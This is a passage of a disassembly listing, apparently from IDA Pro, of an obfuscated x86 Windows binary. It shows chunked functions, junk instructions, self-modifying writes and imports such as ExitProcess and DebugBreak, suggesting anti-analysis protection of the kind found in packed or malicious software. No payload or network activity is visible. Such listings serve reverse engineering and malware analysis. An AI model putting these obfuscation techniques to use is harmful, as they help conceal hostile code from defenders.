		pop	ecx

; =============== S U B	R O U T	I N E =======================================



sub_40F02A	proc near		; CODE XREF: sub_40F02A:loc_409FC8p

; FUNCTION CHUNK AT 00409327 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409518 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040954D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00409E11 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00409FC8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040A43F SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0040A90C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CE0E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CFB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D16C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FAAF SIZE 00000017 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [ebp-0Ch]
		movzx	eax, byte ptr [eax]
		jmp	loc_409518
sub_40F02A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F039	proc near		; DATA XREF: sub_40E027-35DAo

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040C716 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E628 SIZE 0000001E BYTES

		cdq
		jnz	loc_40D889
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_40C716
sub_40F039	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40F054:				; CODE XREF: sub_40D740:loc_409E32j
		mov	ebx, [ecx]
		sub	ebp, 0DF18112Bh
		xchg	ebx, [ecx]
		cdq
		jmp	loc_40AF1A
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
		cmp	ebx, 0E93C2142h
		jmp	loc_40D219
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B23F


loc_40F06F:				; CODE XREF: sub_40928F+Ej
					; sub_40B23F-B10j
		ror	eax, 1Bh
		push	eax
		push	edx
		push	4724A5ACh
		pop	edx
		sub	edx, 0ABFA6DA8h
		jmp	loc_40C880
; END OF FUNCTION CHUNK	FOR sub_40B23F
; ---------------------------------------------------------------------------
		or	edi, ebx
		jmp	loc_40E259
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40F08C:				; CODE XREF: sub_40C674+1656j
		jp	loc_40B79E
		xor	eax, 1EFA5F6Dh
		cmp	ebp, 0DEB5C82Ah
		jmp	loc_40BF62
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------


loc_40F0A3:				; CODE XREF: o45kw3t9:0040ED91j
		push	6AE609DDh

; =============== S U B	R O U T	I N E =======================================



sub_40F0A8	proc near		; CODE XREF: o45kw3t9:0040A218p
		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 4328675Fh
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
sub_40F0A8	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40F0B7:				; CODE XREF: sub_40D740:loc_40C0C1j
		jmp	loc_40C4C3
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DD8F


loc_40F0BC:				; CODE XREF: sub_40DD8F:loc_40E43Cj
		mov	byte ptr [eax],	0C3h
		jmp	loc_40AD4C
; END OF FUNCTION CHUNK	FOR sub_40DD8F
; ---------------------------------------------------------------------------
		call	nullsub_49
		jmp	ds:dword_407880+0Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BB28


loc_40F0CF:				; CODE XREF: sub_40BB28-71Ej
		jmp	loc_40C79F
; END OF FUNCTION CHUNK	FOR sub_40BB28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FDEF


loc_40F0D4:				; CODE XREF: sub_40FDEF-5816j
		jmp	loc_40B662
; END OF FUNCTION CHUNK	FOR sub_40FDEF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	offset sub_409CFF
		jmp	loc_40C3BE
; ---------------------------------------------------------------------------
		jbe	sub_40C298
		jmp	loc_40E181
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40F0F0:				; CODE XREF: sub_40C674:loc_40A9F1j
					; sub_40FB55-2654j
		jmp	loc_40CEED
; END OF FUNCTION CHUNK	FOR sub_40C674

; =============== S U B	R O U T	I N E =======================================



sub_40F0F5	proc near		; DATA XREF: sub_40FEFA-1D07o
		add	eax, 0A4DCA9Dh
		call	sub_409233
sub_40F0F5	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40D32E


loc_40F100:				; CODE XREF: sub_40D32E:loc_40CC3Cj
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		jmp	loc_40E8EE
; END OF FUNCTION CHUNK	FOR sub_40D32E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40F113:				; CODE XREF: sub_40943A:loc_40ED5Fj
		jz	loc_40C175
		jmp	loc_40C03C
; END OF FUNCTION CHUNK	FOR sub_40943A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A416


loc_40F11E:				; CODE XREF: sub_40A416:loc_40DBBBj
		jl	loc_40FC52
; END OF FUNCTION CHUNK	FOR sub_40A416
; START	OF FUNCTION CHUNK FOR sub_40E7B2


loc_40F124:				; CODE XREF: sub_40E7B2+17j
		jmp	loc_409D5D
; END OF FUNCTION CHUNK	FOR sub_40E7B2
; ---------------------------------------------------------------------------


loc_40F129:				; CODE XREF: o45kw3t9:0040CDD7j
		jmp	loc_40F18E
; ---------------------------------------------------------------------------
		adc	ecx, ebp
		test	eax, ebx
		jmp	loc_40FC4B
; ---------------------------------------------------------------------------


loc_40F137:				; DATA XREF: sub_40931B+2o
		add	edx, 0B0149FBh
		mov	eax, 4090CCh
		call	sub_40C298
		lea	eax, [ebp-14h]
		push	eax
		call	sub_40FC1D
		jmp	loc_40E6CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928F


loc_40F155:				; CODE XREF: o45kw3t9:0040B365j
					; sub_40928F:loc_40FEDEj
		mov	eax, ds:dword_40CCB4
		push	offset sub_40E65D
		jmp	nullsub_145
; END OF FUNCTION CHUNK	FOR sub_40928F
; ---------------------------------------------------------------------------
		xor	edi, edx
		jmp	loc_40D8F1
; ---------------------------------------------------------------------------


loc_40F16C:				; CODE XREF: o45kw3t9:loc_40E398j
					; DATA XREF: o45kw3t9:0040E38Eo
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_40AC01
; ---------------------------------------------------------------------------


loc_40F177:				; CODE XREF: o45kw3t9:loc_40E37Cj
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_40AC01
		mov	eax, [ebp+8]
		push	offset sub_40A9D0
		jmp	locret_409FC0
; ---------------------------------------------------------------------------


loc_40F18E:				; CODE XREF: o45kw3t9:loc_40F129j
		jz	loc_40DFF3
		jmp	loc_40C385
; ---------------------------------------------------------------------------


loc_40F199:				; CODE XREF: o45kw3t9:0040C562j
		push	eax
		call	sub_40FD16


loc_40F19F:				; CODE XREF: o45kw3t9:0040E4A1j
		jmp	loc_40C3E6
; ---------------------------------------------------------------------------
		call	sub_40E25B
		sbb	edx, esi
		jmp	sub_40CA92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40F1B0:				; CODE XREF: sub_40C674:loc_40CA9Fj
		shl	edx, 0Ch
		adc	edx, ebp


loc_40F1B5:				; CODE XREF: sub_40CC20+27j
		jmp	loc_40DCC4
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------


loc_40F1BA:				; CODE XREF: o45kw3t9:0040FF72j
		jo	loc_40ABC3

; =============== S U B	R O U T	I N E =======================================



sub_40F1C0	proc near		; CODE XREF: sub_40E677+11p
		mov	[esp+0], edi
		pop	edi
		pop	ecx
		shl	eax, 3


loc_40F1C8:				; CODE XREF: sub_409416:loc_40B53Bj
		mov	edx, [ebp+8]
		or	[edx-8], eax
		jmp	loc_40BEA3
sub_40F1C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8Ah
dword_40F1D4	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_40B43C:loc_409F16r ...
dword_40F1D8	dd 0							; o45kw3t9:004099F2w ...
; ---------------------------------------------------------------------------


loc_40F1DC:				; CODE XREF: o45kw3t9:0040C7FFj
		jmp	locret_40B102
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40F1E1:				; CODE XREF: sub_409FA8+10C7j
		jmp	loc_40A19D
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
		dw 49D3h
dword_40F1E8	dd 2							; o45kw3t9:loc_40E450r	...
		dd 3 dup(2), 0C0h, 40h,	2 dup(1), 4 dup(2), 0C0h, 40h
		dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h
		dd 40h,	2 dup(1), 4 dup(2), 0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 1, 4	dup(2),	0C0h, 40h, 0
		dd 401h, 4 dup(2), 0C0h, 40h, 0
		dd 23h dup(1), 2 dup(2), 4 dup(0)
		dd 40h,	42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h
		dd 42h,	2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1)
		dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h)
		dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h
		dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h)
		dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h
		dd 0A00h, 60h, 1A00h, 4	dup(1),	0
		dd 1, 2	dup(0)
		dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CF7C


loc_40F5E8:				; CODE XREF: sub_40CF7C+5D5j
		jmp	loc_40B559
; END OF FUNCTION CHUNK	FOR sub_40CF7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D031


loc_40F5ED:				; CODE XREF: sub_40D031-37F2j
		jmp	loc_40EC0B
; END OF FUNCTION CHUNK	FOR sub_40D031
; ---------------------------------------------------------------------------
		dw 0D474h
dword_40F5F4	dd 2				dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h)
		dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h)
		dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h)
		dd 3 dup(1), 2,	1C2h, 3	dup(2),	3 dup(1), 2, 1C2h, 0Bh dup(2)
		dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2)
		dd 1, 2, 2 dup(1), 2 dup(2), 1,	3 dup(2), 1, 2,	1, 2 dup(2)
		dd 2 dup(1), 2,	2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2
		dd 1, 3	dup(2),	1, 2, 2	dup(1),	3 dup(2), 1, 3 dup(2)
		dd 1
dword_40F9F4	dd 7C859B72h	; resolved to->KERNEL32.DebugBreak					; o45kw3t9:0040C7E6w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E893


loc_40F9F8:				; CODE XREF: sub_40E893+11j
		jmp	loc_40A1DC
; END OF FUNCTION CHUNK	FOR sub_40E893
; ---------------------------------------------------------------------------
		db 0EBh, 32h, 6Eh
byte_40FA00	db 1			; DATA XREF: sub_409472+7r
					; sub_40D740-1EE8w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3F3


loc_40FA01:				; CODE XREF: sub_40A3F3+18AFj
		jmp	nullsub_93
; END OF FUNCTION CHUNK	FOR sub_40A3F3
; ---------------------------------------------------------------------------
		dw 532Ch
dword_40FA08	dd 0B132E8E6h, 8DC8C51Bh					; sub_40CEA7:loc_40D9C6o
; ---------------------------------------------------------------------------
		sbb	eax, [eax]
; START	OF FUNCTION CHUNK FOR sub_40BDFD


loc_40FA12:				; CODE XREF: sub_40BDFD+2ACFj
		jmp	loc_40EBD1
; END OF FUNCTION CHUNK	FOR sub_40BDFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40FA17:				; CODE XREF: sub_40D740-2CB5j
		jl	loc_40DF03


loc_40FA1D:				; CODE XREF: sub_409726+CC8j
		jmp	loc_40B3AF
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
		mov	ecx, 96B56FF4h
		jmp	loc_40B718
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC64


loc_40FA2C:				; CODE XREF: sub_40EC64:loc_40B213j
		mov	esp, ebp
		pop	ebp
		push	edi
		call	sub_40DA15

locret_40FA35:				; CODE XREF: o45kw3t9:004097F1j
		retn
; END OF FUNCTION CHUNK	FOR sub_40EC64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EFC7


loc_40FA36:				; CODE XREF: sub_40EFC7+16j
		jmp	loc_409080
; END OF FUNCTION CHUNK	FOR sub_40EFC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40FA3B:				; CODE XREF: sub_40D740-41F8j
		jmp	loc_409404
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40FA40:				; CODE XREF: o45kw3t9:loc_409ECDj
		jnz	loc_40C0DC
		jmp	loc_40B80C
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_40DFFD

; =============== S U B	R O U T	I N E =======================================



sub_40FA51	proc near		; CODE XREF: sub_409726+1C5Bp
					; o45kw3t9:0040C0A0j

; FUNCTION CHUNK AT 0040AACF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040C636 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040E08A SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		cmp	byte ptr [eax],	0
		jnz	loc_40C636
		mov	eax, [ebp-4]
		jmp	loc_40AACF
sub_40FA51	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40FA66	proc near		; DATA XREF: sub_40EDE4+5o
		mov	eax, [eax]
		mov	ds:dword_40E534, eax
		xor	eax, eax
		mov	ds:dword_40E530, eax
sub_40FA66	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40B1B3


loc_40FA74:				; CODE XREF: sub_40B1B3-15BAj
					; sub_40B1A3:loc_40D736j ...
		jno	loc_40DDCA
		push	offset loc_40DDA4
		jmp	nullsub_107
; END OF FUNCTION CHUNK	FOR sub_40B1B3

; =============== S U B	R O U T	I N E =======================================



sub_40FA84	proc near		; CODE XREF: o45kw3t9:0040A42Cj
					; sub_40CF23+Bp
		mov	[esp+0], esi
		pop	esi
		cmp	al, 0A4h
		jz	loc_40AD95
		jmp	loc_41000D
sub_40FA84	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	ebx, 0C53F4CF3h
		jmp	loc_409A1A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40FAA1:				; CODE XREF: sub_40D740+7D1j
		jmp	loc_40B1C2
; ---------------------------------------------------------------------------


loc_40FAA6:				; CODE XREF: sub_40D740+21Ej
		jmp	loc_40B842
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------


loc_40FAAB:				; CODE XREF: o45kw3t9:0040A964j
		shl	dword ptr [ebp-8], 8
; START	OF FUNCTION CHUNK FOR sub_40F02A


loc_40FAAF:				; CODE XREF: sub_40F02A-5201j
					; sub_40FA51-4F7Bj
		jz	loc_40954D
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_409FC8
		jmp	loc_40B27E
; END OF FUNCTION CHUNK	FOR sub_40F02A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A259


loc_40FAC6:				; CODE XREF: sub_40A259:loc_409C13j
		pop	ebp
		mov	eax, ds:dword_40CFC0
		or	eax, eax
		jnz	loc_40B90D
		jmp	loc_40C289
; END OF FUNCTION CHUNK	FOR sub_40A259

; =============== S U B	R O U T	I N E =======================================



sub_40FADA	proc near		; DATA XREF: sub_40A135:loc_40BF72o
		mov	esp, ebp
		pop	ebp
		retn
sub_40FADA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B160


loc_40FADE:				; CODE XREF: sub_40B160:loc_40CA7Fj
		call	sub_40D13E


loc_40FAE3:				; CODE XREF: sub_409925+4424j
		jmp	$+5
		or	ecx, 0FF5DB3DAh


loc_40FAEE:				; CODE XREF: sub_40A3A2:loc_409E88j
		jmp	loc_4098DA
; END OF FUNCTION CHUNK	FOR sub_40B160
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40FAF4:				; CODE XREF: sub_40B3E5+22A3j
		jmp	loc_40DF94
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D2B4


loc_40FAFA:				; CODE XREF: sub_40D2B4+1Aj
		jmp	sub_40A416
; END OF FUNCTION CHUNK	FOR sub_40D2B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40FAFF:				; CODE XREF: sub_40B5CB:loc_40EF2Dj
		rol	edi, 11h


loc_40FB02:				; CODE XREF: sub_4090F8:loc_40AC23j
		push	eax
		lea	eax, loc_40DD50
		push	eax
		jmp	loc_40C46D
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409674


loc_40FB0F:				; CODE XREF: sub_409674+12j
		push	offset loc_40A0B8
		jmp	nullsub_95
; END OF FUNCTION CHUNK	FOR sub_409674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40FB19:				; CODE XREF: sub_40AD7A+7j
					; o45kw3t9:0040C667j ...
		pop	ecx
		mov	ebp, offset nullsub_127
		push	offset loc_40BBDB
		jmp	loc_40E3B1
; END OF FUNCTION CHUNK	FOR sub_40AD7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D5BF


loc_40FB29:				; CODE XREF: sub_40D5BF+1284j
		jnb	loc_40975A
		jmp	loc_40C736
; END OF FUNCTION CHUNK	FOR sub_40D5BF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CEFE


loc_40FB35:				; CODE XREF: sub_40CEFE+1CFDj
		jmp	nullsub_96
; END OF FUNCTION CHUNK	FOR sub_40CEFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D0CE


loc_40FB3A:				; CODE XREF: sub_40D0CE+19j
		jmp	loc_40DBD4
; END OF FUNCTION CHUNK	FOR sub_40D0CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AB88


loc_40FB3F:				; CODE XREF: sub_40AB88+8j
		jmp	loc_40A9B8
; END OF FUNCTION CHUNK	FOR sub_40AB88
; ---------------------------------------------------------------------------
		sub	edi, 0FB1108BFh
		test	eax, 0B6E031Ch
		jmp	loc_40CF94

; =============== S U B	R O U T	I N E =======================================



sub_40FB55	proc near		; CODE XREF: sub_4094DF+E77p

; FUNCTION CHUNK AT 00409997 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409A8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040AB69 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040BF6D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D4FB SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		mov	ecx, [esp+0]
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		js	loc_40BF6D
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_409997
sub_40FB55	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC53


loc_40FB73:				; CODE XREF: sub_40EC53+1073j
		xor	esi, 16918A76h
		not	esi
		and	ebp, eax
		jmp	loc_40D9A6
; END OF FUNCTION CHUNK	FOR sub_40EC53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40FB82:				; CODE XREF: sub_40A3A2+23B6j
		js	loc_40DE74
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40FB88:				; CODE XREF: sub_40988C:loc_40C40Ej
					; sub_40C433+9j ...
		push	offset loc_40DB6A
		jmp	nullsub_98
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA7D


loc_40FB92:				; CODE XREF: sub_40DA7D:loc_40B6D8j
		mov	eax, [ebp-8]
		push	offset loc_4091B9
		jmp	nullsub_99
; END OF FUNCTION CHUNK	FOR sub_40DA7D

; =============== S U B	R O U T	I N E =======================================



sub_40FB9F	proc near		; CODE XREF: sub_40DBA2j
					; DATA XREF: sub_409600:loc_40DB98o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004093CF SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040C224 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040FD27 SIZE 00000005 BYTES

		jns	loc_4093CF
		mov	eax, [ebp-4]
		push	offset sub_40ECE1
		jmp	nullsub_101
sub_40FB9F	endp

; ---------------------------------------------------------------------------


loc_40FBB2:				; CODE XREF: o45kw3t9:loc_40E430j
		mov	edi, ebp
		jmp	loc_40B221
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD2E


loc_40FBB9:				; CODE XREF: sub_40CD2E-187Ej
		jge	loc_40A89E


loc_40FBBF:				; CODE XREF: sub_40CD2E:loc_409866j
		lea	eax, [ebp-14h]
		pushf
		mov	[esp+0Ch+var_C], eax
		call	sub_40909E
		jmp	loc_40A8BE
; END OF FUNCTION CHUNK	FOR sub_40CD2E

; =============== S U B	R O U T	I N E =======================================



sub_40FBD0	proc near		; CODE XREF: sub_40D740:loc_409871p
					; o45kw3t9:0040DA72j

; FUNCTION CHUNK AT 0040AA62 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040B5B1 SIZE 0000001A BYTES

		mov	[esp+0], edx
		pop	edx
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		cmp	ds:dword_40F1E8[eax*4],	0
		jmp	loc_40B5B1
sub_40FBD0	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B43C


loc_40FBE8:				; CODE XREF: sub_40B43C+Bj
		jmp	loc_409F16
; END OF FUNCTION CHUNK	FOR sub_40B43C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40FBED:				; CODE XREF: sub_40988C+997j
		jmp	loc_40B295
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40FBF2:				; CODE XREF: sub_40FDEF-581Cj
					; sub_40D740-62Dj ...
		xor	eax, eax
		mov	[ebp-8], eax
		jmp	loc_40EF17
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40FBFC:				; CODE XREF: sub_40939B+5638j
		test	byte ptr [ebp-8], 8
		jz	loc_409146
		push	ebp
		jmp	loc_40EA29
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D996


loc_40FC0C:				; CODE XREF: sub_40D996-22CAj
		push	offset loc_40AE63
		jmp	nullsub_103
; END OF FUNCTION CHUNK	FOR sub_40D996
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409A91


loc_40FC16:				; CODE XREF: sub_409A91:loc_40C98Aj
		mov	ebp, esp
		call	sub_40915B
; END OF FUNCTION CHUNK	FOR sub_409A91

; =============== S U B	R O U T	I N E =======================================



sub_40FC1D	proc near		; CODE XREF: sub_40943A+19p
					; sub_40CC20-29D9p ...

; FUNCTION CHUNK AT 0040C0D2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040C985 SIZE 00000005 BYTES

		jb	sub_40B1B3
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_40C985
sub_40FC1D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E893


loc_40FC2C:				; CODE XREF: sub_40E893:loc_40AE5Ej
		and	edi, esi
		jp	sub_40C5B0
		jmp	loc_40D7E9
; END OF FUNCTION CHUNK	FOR sub_40E893
; ---------------------------------------------------------------------------


loc_40FC39:				; CODE XREF: o45kw3t9:0040C97Fj
		jnb	loc_40E254
		jo	loc_40A448
		pop	edx
		jmp	loc_40E35C
; ---------------------------------------------------------------------------


loc_40FC4B:				; CODE XREF: o45kw3t9:0040F132j
		jg	sub_40FDEF
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_40A416


loc_40FC52:				; CODE XREF: sub_40A416:loc_40F11Ej
		push	offset sub_40C6B7
		jmp	loc_40C021
; END OF FUNCTION CHUNK	FOR sub_40A416
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0E0


loc_40FC5C:				; CODE XREF: sub_40E0E0-4350j
		add	eax, [esp+0]
		adc	edx, [esp+4]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-14h]
		call	sub_40A551


loc_40FC74:				; CODE XREF: o45kw3t9:0040EF51j
		jmp	loc_40D804
; END OF FUNCTION CHUNK	FOR sub_40E0E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C7AF


loc_40FC79:				; CODE XREF: sub_40C7AF+14j
		jmp	loc_40DFDE
; END OF FUNCTION CHUNK	FOR sub_40C7AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409600


loc_40FC7E:				; CODE XREF: sub_409600+1Bj
		jmp	loc_4094E8
; END OF FUNCTION CHUNK	FOR sub_409600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40FC83:				; CODE XREF: sub_40EC83-1813j
		jnz	loc_40ED0B
		mov	[eax], esi


loc_40FC8B:				; CODE XREF: sub_40EC83:loc_40C778j
		mov	eax, [ebp-4]
		call	nullsub_5
		retn
; END OF FUNCTION CHUNK	FOR sub_40EC83
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40FC95:				; CODE XREF: o45kw3t9:0040A158j
		jmp	loc_40A07D
; ---------------------------------------------------------------------------
		adc	ebp, ecx
		jmp	sub_409A7E
; ---------------------------------------------------------------------------


loc_40FCA1:				; DATA XREF: sub_40A235+14C0o
		or	eax, eax
		jnz	locret_40FCAE
; START	OF FUNCTION CHUNK FOR sub_40A235


loc_40FCA9:				; CODE XREF: sub_40A235+14B5j
		call	sub_40FCB4

locret_40FCAE:				; CODE XREF: o45kw3t9:0040FCA3j
		retn
; END OF FUNCTION CHUNK	FOR sub_40A235
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40FCAF:				; CODE XREF: sub_40D740-942j
		jmp	loc_40CA21
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40FCB4	proc near		; CODE XREF: sub_40A235:loc_40FCA9p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0040A340 SIZE 00000004 BYTES

		push	ebx
		push	ecx
		call	sub_40E543
		jmp	loc_40A340
sub_40FCB4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC53


loc_40FCC0:				; CODE XREF: sub_40EC53:loc_40C302j
		jz	loc_40D9A6
		jmp	loc_40FB73
; END OF FUNCTION CHUNK	FOR sub_40EC53
; ---------------------------------------------------------------------------


loc_40FCCB:				; CODE XREF: o45kw3t9:0040C13Aj
		add	eax, ebp
